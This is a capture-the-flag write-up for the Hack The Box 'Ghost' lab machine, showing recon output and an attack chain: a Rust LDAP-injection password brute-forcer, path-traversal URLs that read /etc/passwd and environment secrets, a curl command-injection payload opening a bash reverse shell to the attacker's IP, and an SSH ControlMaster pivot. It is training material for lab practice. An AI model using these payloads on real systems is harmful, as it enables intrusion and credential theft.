Ghost HTB Insane Box

Ghost HTB Insane Box

Intro

[!NOTE] [!IMPORTANT]

  • This is a super Insane box, and I am not kidding, true that some of the methods are well known, but the system is very real, multi boxes, multi service exploitation, pivoting, pivoting, etc. I have done my best to compile the steps from my notes, but as you can picture from a box that has take me on and off 3 weeks to finish some of my notes have failed attents to rabbit holes or methods that are correct but I may forgot with one is the one that worked, but the fact that I will show the intended way path step by step, it really does not matter if my copy/paste command is not exactly format the right way, for example in some cases the hash will not work since it changes, but what matters is the path to get the person reading this to think, learn and to be able to modify my methods to his information and data. Happy Hacking!

Nmap

RECON, Information Gathering

nmap -sV -sC -AT4 10.xx.xx.xx -p- -v
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-29 20:09 CEST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating Ping Scan at 20:09
Scanning 10.xx.xx.xx [2 ports]
Completed Ping Scan at 20:09, 0.04s elapsed (1 total hosts)
Initiating Connect Scan at 20:09
Scanning core.ghost.htb (10.xx.xx.xx) [65535 ports]
Discovered open port 139/tcp on 10.xx.xx.xx
Discovered open port 53/tcp on 10.xx.xx.xx
Discovered open port 445/tcp on 10.xx.xx.xx
Discovered open port 443/tcp on 10.xx.xx.xx
Discovered open port 80/tcp on 10.xx.xx.xx
Discovered open port 3389/tcp on 10.xx.xx.xx
Discovered open port 135/tcp on 10.xx.xx.xx
Discovered open port 49669/tcp on 10.xx.xx.xx
Connect Scan Timing: About 15.52% done; ETC: 20:12 (0:02:49 remaining)
Discovered open port 3269/tcp on 10.xx.xx.xx
Discovered open port 49664/tcp on 10.xx.xx.xx
Discovered open port 53930/tcp on 10.xx.xx.xx
Discovered open port 9389/tcp on 10.xx.xx.xx
Connect Scan Timing: About 39.15% done; ETC: 20:11 (0:01:35 remaining)
Discovered open port 54074/tcp on 10.xx.xx.xx
Discovered open port 49677/tcp on 10.xx.xx.xx
Discovered open port 2179/tcp on 10.xx.xx.xx
Discovered open port 8008/tcp on 10.xx.xx.xx
Discovered open port 60706/tcp on 10.xx.xx.xx
Discovered open port 49443/tcp on 10.xx.xx.xx
Discovered open port 636/tcp on 10.xx.xx.xx
Discovered open port 389/tcp on 10.xx.xx.xx
Discovered open port 593/tcp on 10.xx.xx.xx
Discovered open port 1433/tcp on 10.xx.xx.xx
Connect Scan Timing: About 74.92% done; ETC: 20:11 (0:00:30 remaining)
Discovered open port 464/tcp on 10.xx.xx.xx
Discovered open port 3268/tcp on 10.xx.xx.xx
Discovered open port 5985/tcp on 10.xx.xx.xx
Discovered open port 88/tcp on 10.xx.xx.xx
Completed Connect Scan at 20:10, 113.94s elapsed (65535 total ports)
Initiating Service scan at 20:10
Scanning 26 services on core.ghost.htb (10.xx.xx.xx)
Completed Service scan at 20:11, 54.38s elapsed (26 services on 1 host)
NSE: Script scanning 10.xx.xx.xx.
Initiating NSE at 20:11
Completed NSE at 20:12, 40.15s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 2.17s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Nmap scan report for core.ghost.htb (10.xx.xx.xx)
Host is up (0.036s latency).
Not shown: 65509 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-29 18:11:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2024-09-29T18:12:30+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-29T18:03:37
| Not valid after:  2054-09-29T18:03:37
| MD5:   3670:95c5:ef24:b0c5:4634:9af4:a744:d1a8
|_SHA-1: 08dd:b159:8f84:0806:d0d5:6047:964e:4b88:286c:c418
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-16T15:49:55
| Not valid after:  2024-12-16T15:49:55
| MD5:   7e9a:4e05:78e6:8e7a:ef13:1712:94cf:6279
|_SHA-1: a19b:426c:3d83:7ff2:b680:93f4:f574:843a:99d0:bb8a
|_ssl-date: 2024-09-29T18:12:29+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-09-29T18:11:50+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Ghost
| http-methods: 
|_  Supported Methods: POST GET HEAD OPTIONS
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
53930/tcp open  msrpc         Microsoft Windows RPC
54074/tcp open  msrpc         Microsoft Windows RPC
60706/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-09-29T18:11:54
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

NSE: Script Post-scanning.
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Initiating NSE at 20:12
Completed NSE at 20:12, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 210.84 seconds

[!note]

  • Interesting things such as port 389 which is the LDAP port to for the AD server with domain DC01.ghost.htb.
  • Also port 1433 for the `MSSQl`` 2022 db.
  • And 2 ports running the Nginx web server daemon, namely ports 8008 and 8443 with the ubuntu header.
  • From the information we have is that this is a windows box, but after looking at the nmap results, out there are ubuntu GNU/Linux in the banners.

Prepare exploration

lets start by starting mitmproxy with the hacking plugin.

  • ok lets explore so we get all the data in the proxy. Browse all the pages and review results.
  • Found a couple interesting places including the robots.txt etc.
    Robots.txt
  • Lets search the found paths
    Found ghost admin login
  • At the same time we run some subdomain finder.
 ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.ghost.htb:8008 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.ghost.htb:8008
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 87ms]
static                  [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 117ms]
core                    [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 94ms]
  • And we continue...

Found intranet subdomain

  • Inspecting with mitmproy we see that in the request, the authentication is using ldap.
  • let's try to find information about ldap injection vulnerability.
  • We find that we ca use the character/wildcard "*" on the username and password.
  • After we logged in also on mitmproxy there is information about the gitea repository migration and the login used is gitea_temp_principal. Then we can leverage the vulnerability by bruteforce technique by sending a payload of uppercase, lowercase and number alphabets 0–9.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
We can't post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.

LDAP Injection Techniques

  • Ok going to craft some code very fast to exploit this.
  • we can enter the site with * and * as mentioned above but we want to enumerate the actual password

/home/rek2/Sync/hackthebox/ghost-10.xx.xx.xx/exploit_ldap_auth/src

  • main.rs
use reqwest::multipart;
use tokio::time::{sleep, Duration};

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let url = "http://intranet.ghost.htb:8008/login";

    let mut headers = reqwest::header::HeaderMap::new();
    headers.insert("Host", "intranet.ghost.htb:8008".parse()?);
    headers.insert("Accept-Language", "en-US,en;q=0.5".parse()?);
    headers.insert("Accept-Encoding", "gzip, deflate, br".parse()?);
    headers.insert(
        "Next-Action",
        "c471eb076ccac91d6f828b671795550fd5925940".parse()?,
    );
    headers.insert("Connection", "keep-alive".parse()?);

    let client = reqwest::Client::new();
    let mut passw = String::new();
    let charset = "abcdefghijklmnopqrstuvwxyz0123456789"
        .chars()
        .collect::<Vec<char>>();

    loop {
        let mut found_char = false;

        for &ch in &charset {
            let new_pass = format!("{}{}*", passw, ch);

            let form = multipart::Form::new()
                .text("1_ldap-username", "gitea_temp_principal")
                .text("1_ldap-secret", new_pass.clone())
                .text("0", "[{},\"$K1\"]");

            let res = client
                .post(url)
                .headers(headers.clone())
                .multipart(form)
                .send()
                .await?;

            if res.status().as_u16() == 303 {
                passw.push(ch);
                println!("Passwd: {}", passw);
                found_char = true;
                break;
            }
            sleep(Duration::from_millis(500)).await; // Adding a delay to avoid rate-limiting
        }

        if !found_char {
            break;
        }
    }

    println!("Final Password: {}", passw);

    Ok(())
}
  • Cargo.toml
[package]
name = "exploit_ldap_auth"
version = "0.1.0"
edition = "2021"

[dependencies]
reqwest = { version = "0.11", features = ["json", "multipart"] }
tokio = { version = "1", features = ["full"] }
…/exploit_ldap_auth   main ?   v1.80.1  ♥ 21:13  ./target/debug/exploit_ldap_auth 
Passwd: s
Passwd: sz
Passwd: szr
Passwd: szrr
Passwd: szrr8
Passwd: szrr8k
Passwd: szrr8kp
Passwd: szrr8kpc
Passwd: szrr8kpc3
Passwd: szrr8kpc3z
Passwd: szrr8kpc3z6
Passwd: szrr8kpc3z6o
Passwd: szrr8kpc3z6on
Passwd: szrr8kpc3z6onl
Passwd: szrr8kpc3z6onlq
Passwd: szrr8kpc3z6onlqf
Final Password: szrr8kpc3z6onlqf
  • GREAT! now we have the password. szrr8kpc3z6onlqf

gitea_temp_principal:szrr8kpc3z6onlqf

[!ATTENTION]

  • Also investigating all the posts on the intranet site there is one that says:
  • do not forget bitbucket.ghost.htb we will need later to use that for DNS Poisoning
Cannot connect to BitBucket
Hello all, I tried to connect to bitbucket.ghost.htb but it doesn't work. Any idea why? I have a script that checks the pipeline results and it works in Gitea, I tried adapting it to Bitbucket and it works locally but I can't test it on our servers
  • Knowing their subdomain format we add gitea to /etc/hosts and try http://gitea.ghost.htb:8008 yay! good it works

  • now lets spray this into the other subdoains gitea.ghost.htb:8008

  • nice! it works for gitea

  • We find 2 repos:

    • ghost-dev/blog
    • ghost-dev/intranet
  • git clone both!

  • We review in the blog repo the .js file posts-public.js

  • here is a snippet of the important part:

module.exports = {
    docName: 'posts',

    browse: {
        headers: {
            cacheInvalidate: false
        },
        cache: postsPublicService.api?.cache,
        generateCacheKeyData(frame) {
            return {
                options: generateOptionsData(frame, [
                    'include',
                    'filter',
                    'fields',
                    'formats',
                    'limit',
                    'order',
                    'page',
                    'absolute_urls',
                    'collection'
                ]),
                auth: generateAuthData(frame),
                method: 'browse'
            };
        },
        options: [
            'include',
            'filter',
            'fields',
            'formats',
            'limit',
            'order',
            'page',
            'debug',
            'absolute_urls',
            'collection'
        ],
        validation: {
            options: {
                include: {
                    values: allowedIncludes
                },
                formats: {
                    values: models.Post.allowedFormats
                }
            }
        },
        permissions: true,
        async query(frame) {
            const options = {
                ...frame.options,
                mongoTransformer: rejectPrivateFieldsTransformer
            };
            const posts = await postsService.browsePosts(options);
            const extra = frame.original.query?.extra;
            if (extra) {
                const fs = require("fs");
                if (fs.existsSync(extra)) {
                    const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
                    posts.meta.extra = { [extra]: fileContent };
                }
            }
            return posts;
        }
    },

[!attention]

  • Check /var/lib/ghost/extra/ path and like. + extra
  • lets try to find out from their website:
URL

https://{admin_domain}/ghost/api/content/

Your admin domain can be different to your site domain. Using the correct domain and protocol are critical to getting consistent behaviour, particularly when dealing with CORS in the browser. All Ghost(Pro) blogs have a *.ghost.io domain as their admin domain and require https
  • GREAT lets try this browse to http://ghost.htb:8008/ghost/api/content and we get:
{"errors":[{"message":"Resource not found","context":null,"type":"NotFoundError","details":null,"property":null,"help":null,"code":null,"id":"2f34ae60-7ea5-11ef-ba4a-8b514448a447","ghostErrorCode":null}]}
  • after some small investigation on mitmproy we can get the key=
    mitmproxy get key from options verb
http://ghost.htb/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC
  • ok we got a nice key 37395e9e872be56438c83aaca6

  • Inspecting more lets use the extra argument we found vulnerable above inspecting the blog repo. [!ATTENTION]

  • The POC http://ghost.htb:8008/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&extra=../../../../../../../etc/passwd is vulnerable!!!

    • you have to scroll down to see the /etc/passwdfile.
      poc_password_file_works
  • ok lets get some more info and then get revshell.

  • ok doing enumeration found soe JUICE http://ghost.htb:8008/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&extra=../../../../../../../proc/self/environ

    • this will give us:
    "HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000"
    
  • looks good, we find the DEV_INTRANET_KEY value !@yqr!X2kxmQ.@Xe

  • Our enumeration before on intranet revealed before a http://intranet.ghost.htb:8008/api-dev from http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev/scan.rs

  • Let's build our payload:

#!/bin/bash

curl http://intranet.ghost.htb:8008/api-dev/scan -X POST -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url": ";/bin/bash -i >& /dev/tcp/10.xx.xx.xx/6667 0>&1"}'

[!ATTENTION]

  • IT WORKS!

  • ok now more enumeration local

  • ok as usuall in a docker container we have check the entrypoint file and we see it created some files inside .ssh/

root@36b733906694:~/.ssh/controlmaster# ls ls
ls
florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster# pwd
pwd
/root/.ssh/controlmaster
  • we see a username florence.ramirez
  • now we also find in the ENV some interesting credentials
root@36b733906694:/app# env
env
DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=2
RUST_VERSION=1.79.0
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env
  • Also we find a sqlite db database.sqlite
  • and SOMETHING SUPER Interesting
  • doing RTFM about this ssh persitent controlmaster and the content of .ssh/config
ssh -O check florence.ramirez@ghost.htb@dev-workstation
dev-workstationorence.ramirez@ghost.htb@d
Master running (pid=19)
  • hmm we onto something here!
ssh -tt florence.ramirez@ghost.htb@dev-workstation
Last login: Thu Feb  1 23:58:45 2024 from 172.18.0.1
florence.ramirez@LINUX-DEV-WS01:~$ 
  • some commands do not work but others do:
whoami
florence.ramirez
pwd
/home/GHOST/florence.ramirez
  • and more ok this is the last one I write until I actually find something
cat /etc/hostname
LINUX-DEV-WS01

[!ATTENTION]

  • ok so this Linux dev image is attached to the DC/AD on windows I inspected like in all docker containers the docker-entrypoint
cat docker-entrypoint.sh
#! /bin/bash

# adapted from https://github.com/fjudith/docker-samba-join-ad

# Reference:
# * https://wiki.debian.org/AuthenticatingLinuxWithActiveDirectory
# * https://wiki.samba.org/index.php/Troubleshooting_Samba_Domain_Members
# * http://www.oreilly.com/openbook/samba/book/ch04_08.html

if [ -f /tmp/init_success ]; then
    service ssh restart
    exec "$@"
fi

set -e

TZ=${TZ:-Etc/UTC}
# Update loopback entry
TZ=${TZ:-Etc/UTC}
AD_USERNAME=${AD_USERNAME:-administrator}
AD_PASSWORD=${AD_PASSWORD:-password}
HOSTNAME=${HOSTNAME:-$(hostname)}
IP_ADDRESS=${IP_ADDRESS:-}
DOMAIN_NAME=${DOMAIN_NAME:-domain.loc}
ADMIN_SERVER=${ADMIN_SERVER:-${DOMAIN_NAME,,}}
PASSWORD_SERVER=${PASSWORD_SERVER:-${ADMIN_SERVER,,}}

ENCRYPTION_TYPES=${ENCRYPTION_TYPES:-rc4-hmac des3-hmac-sha1 des-cbc-crc arcfour-hmac aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 des-cbc-md5}

NAME_RESOLVE_ORDER=${NAME_RESOLVE_ORDER:-host bcast}

SERVER_STRING=${SERVER_STRING:-Samba Server Version %v}
SECURITY=${SECURITY:-ads}
REALM=${REALM:-${DOMAIN_NAME^^}}
PASSWORD_SERVER=${PASSWORD_SERVER:-${DOMAIN_NAME,,}}
WORKGROUP=${WORKGROUP:-${DOMAIN_NAME^^}}
WINBIND_SEPARATOR=${WINBIND_SEPARATOR:-"\\"}
WINBIND_UID=${WINBIND_UID:-50-9999999999}
WINBIND_GID=${WINBIND_GID:-50-9999999999}
WINBIND_ENUM_USERS=${WINBIND_ENUM_USERS:-yes}
WINBIND_ENUM_GROUPS=${WINBIND_ENUM_GROUPS:-yes}
TEMPLATE_HOMEDIR=${TEMPLATE_HOMEDIR:-/home/%D/%U}
TEMPLATE_SHELL=${TEMPLATE_SHELL:-/bin/bash}
CLIENT_USE_SPNEGO=${CLIENT_USE_SPNEGO:-yes}
CLIENT_NTLMV2_AUTH=${CLIENT_NTLMV2_AUTH:-yes}
ENCRYPT_PASSWORDS=${ENCRYPT_PASSWORDS:-yes}
SERVER_SIGNING=${SERVER_SIGNING:-auto}
SMB_ENCRYPT=${SMB_ENCRYPT:-auto}
WINDBIND_USE_DEFAULT_DOMAIN=${WINBIND_USE_DEFAULT_DOMAIN:-yes}
RESTRICT_ANONYMOUS=${RESTRICT_ANONYMOUS:-2}
DOMAIN_MASTER=${DOMAIN_MASTER:-no}
LOCAL_MASTER=${LOCAL_MASTER:-no}
PREFERRED_MASTER=${PREFERRED_MASTER:-no}
OS_LEVEL=${OS_LEVEL:-0}
WINS_SUPPORT=${WINS_SUPPORT:-no}
WINS_SERVER=${WINS_SERVER:-127.0.0.1}
DNS_PROXY=${DNS_PROXY:-no}
LOG_LEVEL=${LOG_LEVEL:-1}
DEBUG_TIMESTAMP=${DEBUG_TIMESTAMP:-yes}
LOG_FILE=${LOG_FILE:-/var/log/samba/log.%m}
MAX_LOG_SIZE=${MAX_LOG_SIZE:-1000}
# Deprecated: SYSLOG_ONLY=${SYSLOG_ONLY:-no}
# Deprecated: SYSLOG=${SYSLOG:-0}
PANIC_ACTION=${PANIC_ACTION:-/usr/share/samba/panic-action %d}
HOSTS_ALLOW=${HOSTS_ALLOW:-*}
SOCKET_OPTIONS=${SOCKET_OPTIONS:-TCP_NODELAY SO_KEEPALIVE IPTOS_LOWDELAY}
READ_RAW=${READ_RAW:-yes}
WRITE_RAW=${WRITE_RAW:-yes}
OPLOCKS=${OPLOCKS:-no}
LEVEL2_OPLOCKS=${LEVEL2_OPLOCKS:-no}
KERNEL_OPLOCKS=${KERNEL_OPLOCKS:-yes}
MAX_XMIT=${MAX_XMIT:-65535}
DEAD_TIME=${DEAD_TIME:-15}

SAMBA_CONF=/etc/samba/smb.conf

echo --------------------------------------------------
echo "Backing up current smb.conf"
echo --------------------------------------------------
if [[ ! -f /etc/samba/smb.conf.original ]]; then
        mv -v /etc/samba/smb.conf /etc/samba/smb.conf.original
        touch $SAMBA_CONF
fi

echo --------------------------------------------------
echo "Setting up Timzone: \"${TZ}\""
echo --------------------------------------------------
echo $TZ | tee /etc/timezone
dpkg-reconfigure --frontend noninteractive tzdata


echo --------------------------------------------------
echo "Setting up Kerberos realm: \"${DOMAIN_NAME^^}\""
echo --------------------------------------------------
if [[ ! -f /etc/krb5.conf.original ]]; then
        mv /etc/krb5.conf /etc/krb5.conf.original
fi

cat > /etc/krb5.conf << EOL
[logging]
    default = FILE:/var/log/krb5.log
    kdc = FILE:/var/log/kdc.log
    admin_server = FILE:/var/log/kadmind.log

[libdefaults]
    default_realm = ${DOMAIN_NAME^^}
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    ${DOMAIN_NAME^^} = {
        kdc = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
        admin_server = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
        default_domain = ${DOMAIN_NAME^^}
    }
    ${DOMAIN_NAME,,} = {
        kdc = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
        admin_server = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
        default_domain = ${DOMAIN_NAME,,}
    }
    ${WORKGROUP^^} = {
        kdc = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
        admin_server = $(echo ${ADMIN_SERVER,,} | awk '{print $1}')
        default_domain = ${DOMAIN_NAME^^}
    }

[domain_realm]
    .${DOMAIN_NAME,,} = ${DOMAIN_NAME^^}
    ${DOMAIN_NAME,,} = ${DOMAIN_NAME^^}
EOL

echo --------------------------------------------------
echo "Activating home directory auto-creation"
echo --------------------------------------------------
echo "session required pam_mkhomedir.so skel=/etc/skel/ umask=0022" | tee -a /etc/pam.d/common-session

echo --------------------------------------------------
echo "Generating Samba configuration: \"${SAMBA_CONF}\""
echo --------------------------------------------------

crudini --set $SAMBA_CONF global "vfs objects" "acl_xattr"
crudini --set $SAMBA_CONF global "map acl inherit" "yes"
crudini --set $SAMBA_CONF global "store dos attributes" "yes"

crudini --set $SAMBA_CONF global "workgroup" "$WORKGROUP"
crudini --set $SAMBA_CONF global "server string" "$SERVER_STRING"

# Add the IPs / subnets allowed acces to the server in general.
crudini --set $SAMBA_CONF global "hosts allow" "$HOSTS_ALLOW"

# log files split per-machine.
crudini --set $SAMBA_CONF global "log file" "$LOG_FILE"

# Enable debug
crudini --set $SAMBA_CONF global "log level" "$LOG_LEVEL"

# Maximum size per log file, then rotate.
crudini --set $SAMBA_CONF global "max log size" "$MAX_LOG_SIZE"

# Active Directory
crudini --set $SAMBA_CONF global "security" "$SECURITY"
crudini --set $SAMBA_CONF global "encrypt passwords" "$ENCRYPT_PASSWORDS"
crudini --set $SAMBA_CONF global "passdb backend" "tdbsam"
crudini --set $SAMBA_CONF global "realm" "$REALM"

# Disable Printers.
crudini --set $SAMBA_CONF global "printcap name" "/dev/null"
crudini --set $SAMBA_CONF global "panic action" "no"
crudini --set $SAMBA_CONF global "cups options" "raw"

# Name resolution order
crudini --set $SAMBA_CONF global "name resolve order" "$NAME_RESOLVE_ORDER"

# Performance Tuning
crudini --set $SAMBA_CONF global "socket options" "$SOCKET_OPTIONS"
crudini --set $SAMBA_CONF global "read raw" "$READ_RAW"
crudini --set $SAMBA_CONF global "write raw" "$WRITE_RAW"
crudini --set $SAMBA_CONF global "oplocks" "$OPLOCKS"
crudini --set $SAMBA_CONF global "level2 oplocks" "$LEVEL2_OPLOCKS"
crudini --set $SAMBA_CONF global "kernel oplocks" "$KERNEL_OPLOCKS"
crudini --set $SAMBA_CONF global "max xmit" "$MAX_XMIT"
crudini --set $SAMBA_CONF global "dead time" "$DEAD_TIME"

# Point to specific kerberos server
crudini --set $SAMBA_CONF global "password server" "$PASSWORD_SERVER"

# #crudini --set $SAMBA_CONF global "winbind separator" "$WINBIND_SEPARATOR"
crudini --set $SAMBA_CONF global "winbind uid" "$WINBIND_UID"
crudini --set $SAMBA_CONF global "winbind gid" "$WINBIND_GID"
crudini --set $SAMBA_CONF global "winbind use default domain" "$WINDBIND_USE_DEFAULT_DOMAIN"
crudini --set $SAMBA_CONF global "winbind enum users" "$WINBIND_ENUM_USERS"
crudini --set $SAMBA_CONF global "winbind enum groups" "$WINBIND_ENUM_GROUPS"
crudini --set $SAMBA_CONF global "template homedir" "$TEMPLATE_HOMEDIR"
crudini --set $SAMBA_CONF global "template shell" "$TEMPLATE_SHELL"
crudini --set $SAMBA_CONF global "client use spnego" "$CLIENT_USE_SPNEGO"
